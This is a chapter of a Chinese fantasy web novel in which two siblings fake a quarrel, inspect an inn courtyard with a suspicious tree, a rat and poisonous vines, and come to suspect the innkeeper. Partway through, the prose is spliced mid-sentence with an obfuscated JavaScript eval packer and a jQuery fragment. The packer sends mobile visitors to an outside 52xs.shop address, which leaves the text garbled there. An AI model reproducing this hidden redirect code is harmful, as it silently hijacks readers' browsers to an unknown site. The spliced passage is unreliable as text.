古珂动作极为迅速,她一手反制住苟黎,将他身子压得半弯,一个手拧着他耳朵。
她重重斥责道:“什么乌山,你又和什么同学打赌了,啊,小小年纪,天天想着挑战危险的东西,怎么着,胜利了是谁能给你们颁个奖怎么着?”
苟黎不笨,知道是自己说漏嘴,这下给了合适的理由,再不接上才是真蠢。
他一把挣开束缚,单手一甩,凶着张脸:“你们女的懂什么!我们这叫少年气盛,是承诺,是挑战,也是荣誉!”
说着说着,苟黎满脸自豪,仿佛自己将要做的事是多么的荣耀。
这幅表情别提多惹打,古珂一脚踹了过去,把人踢得一个踉跄:“还荣耀,你这是脑袋进水,我今天就要把你脑袋里的水给倒出来。”
她一个跨步就要拎到苟黎的领子,但不得不说苟黎的反应也是真快,猛地扭身,人在眨眼间就窜了出去。
"小兔崽子,还跑,给我站住!"
两人你追我赶,没一会就看不到人影了。
沈戈带着歉意地笑了笑:“佑哥,真是抱歉,让你看笑话了,我这弟弟从小叛逆,皮得很,从小就不服管,经常和她姐打架。”
话都说到这了,再和小孩子计较倒是他的不是了。
李承佑恢复了那副和善的模样,笑着拍了拍沈戈:“小孩子就这样,你这当大哥的辛苦了,我们去把两孩子喊回来?”
沈戈摆手:“没事,佑哥,这两人左右也不会跑出去,你看我这大包小包的,还是先带我去房间,我把行李放好再说。”
这么说着,李承佑的视线也重新落到了他的周围,除开肩上背着的大背包,还有一粉一蓝的行李箱,一看就是两弟弟妹妹的东西。
李承佑应声:“说得也是,走吧,我先带你去放好东西,待会再去寻他们。”
两人并排走着,时不时你一言,我一语。
就这般逐渐远去,在拐过一条竹道后,彻底没了身影。
这时候,藏在一个立着的装饰石像后面的两人,才缓缓走了出来,显出了身形。
苟黎满脸委屈地揉着小腿,抱怨道:“姐,你下手也太重了,这里都青了。”
撸起的裤腿露出精壮的小腿,在一片丛林的遮挡中,古珂很努力才看清隐藏其中的青色。
她学着先前他的语气,嘲弄道:”这是荣誉。”
不怕自己中二且胡言乱语,怕就怕别人学你中二语录,再读给你听。
简直是要尴尬地往洞里钻,苟黎脸“唰”地一下爆红:“姐,别学了,我这还不是为了增强可信度,牺牲自己的脸皮。”
“啧,你就说,难道你没有一点点的真情实感吗?”古珂一脸“我都懂”的表情,在看到对方眼见又要暴起,紧急刹车,“好了,好了我知道你牺牲很大,下次一定奖励你。”
她拍着苟黎的肩膀:“但是你这个伤,就不用骗我了,力气我是控制了的。”
“但是!姐,你看,我这里就是青了嘛,说明你力量控制得还是不够好!”苟黎义正严词。
古珂举手投降:“我错了,要不你打回来?”
“那不用了。”苟黎摆摆手,“不过,姐,我们躲在这里是干什么啊。”
“不干嘛,这不是为了演戏嘛,跑步多浪费体力。”
话是这么说,但古珂也没急着回去。
她绕着庭院中这棵大树走来走去:“你有没有觉得不对劲?我刚进来就觉得这地方有点奇怪。”
哪有人在庭院里种遮盖阳光的大树的,而且这位置还是在东北方。
古珂正皱着眉头努力思考,苟黎则抓耳饶腮地盯着这棵树,先是围着它绕来绕去,后又趴在树的主干上,想要努力看明白到底是什么不对劲。
但半天下来,他硬是什么都没发现。
不对!
苟黎看着这块的土层和别处的有些差异,但不算很明显:“姐,这树好像是近期种的,你看这土,和别地的比起来新很多。”
他两个手齐用上,一手捧着一抔土,左边是挖得大树下面的,右边则是石像旁边的泥土。
古珂用眼睛确实能够看出来新旧确实不一样,明显左边的很新一些,她试着上手感受了下,触觉给予的回应更为明显。
左边明显更粗粝些,其中掺杂的细石更多,右边就是细沙占主要。
她肯定道:“你说得没错,这树确实是近期种的。”
“但我一开始想说的问题并不是这个,是因为我曾经看过一本风水书,说是在庭院中种遮盖阳光的大树是大忌,尤其是在东北方、西南方。”
古珂努力回忆当初看的那本书:“因为这两个地方是相当于鬼门和内鬼门,很容易聚集阴气,招惹鬼魂。”
如果放在普通人身上,可能会说是封建迷信,并不可信,但是他们两人本人就已经是不可能了,听到这样的说法,都正色了起来。
苟黎四处张望,没发现有人,这才缓缓道:“姐,这老板是有些不对劲吧,他会不会是异人?”
一旦有了怀疑的苗头,很多行为都会得到进一步放大。
“比如,刚刚我说去乌山,他脸色变得太快了,而且一点也不像是出于担心,反而有点……嗯,怎么说呢。”
苟黎挠头,一下不知该怎么形容。
“有种怕我们进去,然后发现什么东西。”
“对对对对,就是这种感觉。”苟黎赞同道。
古珂没立刻回话,客栈老板可能有秘密,也可能确实和乌山有关,只是她现在还有点怀疑,这些所谓的发现,是不是有人故意引导。
毕竟他们来乌山虽然算不上人尽皆知,但施家人是知道的,他们的立场看起来更像是中立,很难排除如果言家询问他们,会直接拒绝回答。
她把这个顾虑同样告诉了苟黎。
他回复得很快:“我觉得不会,姐你就是有点被骗的ptsd了,先不说是不是言家人,就算是的话,我们跟着他们的引导走又如何呢。”
毕竟上一次被引导的行动确实有,但最后她也确实达成了目标。
古珂朝他竖起大拇指:“你说得对,咱们等会和沈戈也说一下。”
她正要离开,余光往树的底端一瞥,有个东西一闪而过,定睛一看是个老鼠。
“我靠,这什么鬼,还有老鼠。”苟黎也看见了,一个惊呼,往后退了两步。
按理说,老鼠这种生物,是怕人的,见人就跑,但眼前的这个古怪得很,这家伙不仅不跑,还瞪着两个小眼睛,直直盯着他们,一动不动的,就像在打量他们。
苟黎有点瘆得慌:“姐,这玩意不会是成精了吧,我怎么感觉它是在盯着我们看。”
古珂反应很快,将右手瞬间骨化,迅速探身,伸手一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14254111|148715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
捞,紧紧将老鼠抓在手中,她拎起它将它毫不留情地转了好几次。
原本没有任何反应的老鼠,像是察觉到了危险,它开始拼命挣扎,古珂并没有想弄死它的打算,顺势一松。
只见老鼠先是在原地晃晃悠悠,身子东倒西歪,走起路来颇有几分醉态,那想小碎步始终要摔不摔的。
古珂戳了下没反应过来的苟黎:“跟上,我们看看是谁在搞鬼。”
老鼠跑得很快,加上它的身体足够小,各种缝隙都能穿过,而他们两人有时候得先破除障碍,或者干脆直接绕路。
最后,不出意外的把老鼠给丢了。
两人看着眼前这个陌生的地方,不远处有个类四合院房屋,他们现在所在的位置,是属于之前那个中庭和不远处房屋的连接处。
古珂看向道路两旁的奇花异草,没一个是她能叫上名字的,倒是旁边的藤蔓,它认识其中一种,鲜红如烈焰,嚣张狂放地铺满整面墙。
见她紧盯着藤蔓看,苟黎正欲上前,想要给她摘点藤蔓,以便能够就近观察,结果就被人一把拉住了。
“别动!这玩意有毒。”古珂拉着人往后面多退了几步。
一脸震惊的苟黎在离藤蔓已经和有段距离后,仍然有种劫后余生的感觉:”姐,吓死我了,这地方绝对有问题,哪有度假客栈搞一面墙的有毒藤蔓。”
古珂也完全不理解:“按理说,就算这人要搞出什么名堂来,也不至于直接阳谋吧,不该是藏着掖着?再者退一万步说,要是碰到个懂行的,不就直接暴露了。”
显然,不光是她想到了这一点,就连苟黎也想到了这块,只不过他是另一个角度:“姐,你说会不会还有一个可能,就是这客栈老板也不知道藤蔓有毒,然后藤蔓乖乖挂在这里,又挺好看的,他就没管。”
“很有可能。”古珂肯定道,“不过,我们现在的目的事找到那个老鼠,你试着闻闻气味。”
古珂:“我这个手抓过它,肯定也沾上了气味,你闻闻看。”
苟黎点头,将头往前探,悬停在她的手掌上分,闻了一会儿,心里大概有了数。
他这边闻闻,那边探探,随即坚定地右拐。
这个路线分明是他们过来的,古珂虽然心里有些怀疑,但仍然选择相信他的判断,然后就正好碰见来找他们的两人。
古珂一把将人拽了回来:“别生气了,我不就是不小心下手重了点,到时候赔你个游戏皮肤!”
正全神贯注的苟黎被拽得踉跄,没明白这人话题怎么转个一百八十度,抬眼就瞥见了熟悉的老板,游刃有余地装了起来。
他一个冷哼,身子往旁一侧:“不行,两个,还得是最贵的那种。”
“喂,你不要不识好歹,我能给你一个就不错了!我——”
眼见两人就要吵起来,李承佑恰好走在前面,连忙往前多走了几步:“我来给,你们姐弟两就别闹腾了,你哥哥说你们坐了挺久飞机过来的,去泡个温暖早点休息吧。”
沈戈:“听见没,你们再这样,人家老板直接把我们赶出去。”
李承佑原本想说点什么,大门处有个人影一晃而过,古珂反正未能看清,只看见个是穿黄色衣服的人,但她注意到老板的脸在那一瞬冷了下来,又很快恢复如常。
果不其然,李承佑直言道:“我有事先走一步,便很快消失在门外。”